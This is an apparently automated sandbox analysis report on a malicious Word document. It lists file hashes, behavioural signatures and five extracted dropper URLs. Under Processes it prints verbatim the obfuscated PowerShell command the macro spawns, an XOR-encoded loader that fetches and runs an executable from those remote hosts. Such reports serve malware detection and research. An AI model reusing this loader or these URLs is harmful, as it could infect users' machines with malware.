Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 19:31

General

  • Target

    730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc

  • Size

    137KB

  • MD5

    730589f4fa17619ba4a0b4760aed0426

  • SHA1

    9d73fa94716aa74b82061ad310f525e9f51496df

  • SHA256

    ba60bdcdedfdecf24747f96a44ba2df973496807bf6b1080d9800feb53755242

  • SHA512

    8ca2518244d1ba6f8a558af3f8e6948e9704ea283cef15ea9b2fc9396a36765088df2ab249cb667761026290a88b03ae72cf1fd46c295f6dfda5166d54493799

  • SSDEEP

    1536:b5T1coc0qg43CzKj+aJwQiKn8m2q7m4MHxD7VNJVZX2xX7OnmecrwSgehfu7Qa19:dmPg4p6xufllLZowvOe9j+B

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.corridaitaliana.cl/AOQNNvjw/

exe.dropper

http://www.homedecorsuppliers.tk/1iBZRadBar/

exe.dropper

http://www.copticpope.org/RNDHpUD/

exe.dropper

http://petewilliams.info/lSLsRKf0/

exe.dropper

http://www.bluesw.net/VJ111cQ26/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\System32\WindowsPowerShell\v1.0\PowersHell.exe
      PowersHell .( ([stRINg]$verBOsEprEfeRENCe)[1,3]+'x'-JoIN'') ([stRIng]::jOIN( '' , ( '46p71X89,125H82,73w42E55{42{100,111-125w39,101,104~96,111X105~126H42~120~107-100G110H101-103G49X46p67w120E95,83~88H105,42{55~42p100H111~125~39E101,104w96H111H105G126-42{89~115-121,126w111G103,36~68,111H126-36w93X111X104H73,102G99H111-100p126X49G46~91X123~95{99~76w42E55~42p45-98,126E126-122G48-37H37{125{125p125,36w105H101p120E120H99G110G107H99G126p107p102G99~107{100X107G36X105X102~37G75w69{91~68H68{124H96p125p37-74,98w126H126-122~48E37p37G125,125{125G36p98G101X103H111,110{111X105H101H120-121X127-122H122p102w99~111-120w121p36-126~97p37~59G99~72w80w88,107H110w72w107-120H37X74H98{126G126w122G48G37H37-125,125H125w36E105X101X122X126p99~105p122E101p122-111H36X101X120p109X37H88~68H78E66E122~95p78,37p74G98E126w126{122,48-37{37p122H111G126X111w125-99-102H102X99{107H103X121w36,99G100E108X101H37G102G89G70{121p88p65X108~58p37-74p98X126,126{122{48H37w37{125~125E125p36G104~102~127{111-121G125G36w100X111E126G37-92-64w59G59{59E105H91H56G60E37p45G36w89w122p102E99w126{34X45w74E45E35E49X46-68X64G121-125p69,42w55G42,46,71~89~125E82~73p36H100w111H114-126E34p59-38H42{59X62p59X59w62{60G35H49{46H66,120G122-125~64G89G42w55p42X46{111{100w124E48{126G111w103H122X42p33G42w45p86,45w42w33~42w46w68,64-121H125,69,42{33p42,45,36-111p114,111G45-49H108-101p120G111-107,105{98E34E46~92w126E78-126G88,42p99H100G42w46H91~123G95w99~76-35H113{126~120H115H113-46{67X120p95E83{88G105-36p78G101E125p100E102w101E107~110H76~99H102-111H34G46p92H126{78E126-88E36~94{101G89p126G120H99-100p109w34w35H38w42E46{66p120{122-125,64,89E35p49w89H126w107w120E126H39p90{120H101{105~111G121,121{42G46p66p120{122w125G64-89G49X104X120{111p107w97,49G119p105G107H126H105-98E113-125H120G99E126{111,39{98p101{121p126{42~46E85E36{79p114H105H111-122G126,99X101w100~36E71p111~121E121,107p109p111E49{119~119'.SplIT('EG,wX~H{p-' )|fOrEach{ [ChaR]($_ -BxoR '0x0a')}) ))
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD9E23.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_woxaqu1a.chs.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2476-20-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-5-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-4-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-15-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-7-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-14-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-8-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-9-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-10-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-11-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-13-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-12-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

    Filesize

    64KB

  • memory/2476-16-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-18-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-19-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-17-0x00007FF8298A0000-0x00007FF8298B0000-memory.dmp

    Filesize

    64KB

  • memory/2476-560-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-3-0x00007FF86C08D000-0x00007FF86C08E000-memory.dmp

    Filesize

    4KB

  • memory/2476-6-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-31-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-35-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-34-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-561-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-2-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-0-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-559-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-1-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-454-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-536-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-537-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2476-558-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/2476-557-0x00007FF82C070000-0x00007FF82C080000-memory.dmp

    Filesize

    64KB

  • memory/3712-52-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3712-46-0x000001DA28F10000-0x000001DA28F32000-memory.dmp

    Filesize

    136KB

  • memory/3712-36-0x00007FF86BFF0000-0x00007FF86C1E5000-memory.dmp

    Filesize

    2.0MB